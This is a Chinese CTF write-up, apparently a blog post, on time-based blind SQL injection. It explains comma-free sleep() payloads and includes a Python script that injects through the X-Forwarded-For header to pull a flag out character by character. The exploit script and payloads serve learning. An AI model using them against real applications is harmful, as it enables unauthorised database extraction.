一次基于时间注入学习的心得

之前遇到延时注入不太理解就放过了,果然遇到的问题不解决就会在不久的将来就让你后悔没学习,好了,这是实验吧的一个题目http://ctf5.shiyanbar.com/web/wonderkun/index.php


经过测试发现逗号后面的内容会被截断,那么注入的时候就不能用逗号了,看了大神的writeup之后决定做个笔记来记录基于时间注入的语句,首次在http://blog.csdn.net/bear_n/article/details/53057716
这里看到了这样的语句,if(条件1,条件2,条件3)如果条件1成立就执行条件2,如果条件1不成立条件2成立就执行条件3,于是在注入时我们可以构造这样的语句if(((length database())>0),1,sleep(5)),当测试语句为真时立刻回显,为假时过5秒再回显,这样就可以为盲注提供依据了。这里过滤了单引号自然不能用这个语句了,但是方法总是多种多样的,

第二个语法,select case when() then do else 1 end  这样就是如果条件成立就过5秒执行,否则直接执行,都是相同的道理啊,这样就避免了单引号的出现,于是有了下面的脚本(参考自http://www.jianshu.com/p/5d34b3722128)

#coding:utf-8

import requests

import string

s=requests.session()

url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"

flag=''

guess=string.lowercase+string.uppercase+string.digits

for i in range(33):

for st in guess:

headers={"x-forwarded-for":"1'+"+"(select case when(substr((select flag from flag) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1" %(i,st)}

try:

res=s.get(url,headers=headers,timeout=4)

except requests.exceptions.ReadTimeout:

flag+=st

print "flag:",flag

break

print "result:"+flag

这里记录一下我的理解,guess里存放着大小写字母和数字,在when()里的substr用的是from %d for 1,和substr(xx,1,1)是一个道理,同样避免了单引号,在接下来是异常处理,设置超时时间为4秒,requests.exceptions.ReadTimeout:为捕获异常,当超过4秒时捕获,所以有了最后的flag

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 135,803评论 19 139
  • ¥开启¥ 【iAPP实现进入界面执行逐一显】 〖2017-08-25 15:22:14〗 《//首先开一个线程,因...
    小菜c阅读 11,852评论 0 17
  • 说明本次redis集群安装在rhel6.8 64位机器上,redis版本为3.2.8,redis的gem文件版本为...
    读或写阅读 15,418评论 3 9
  • Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行...
    付出从未后悔阅读 3,961评论 0 3
  • 卧看牛郎织女星, 年年今夜鹊桥中。 别恨离情终消解, 谁怜人间觅无踪。 二八不解书中意 而立才晓伊人情 长空千里无...
    风子宏阅读 1,693评论 0 0

友情链接更多精彩内容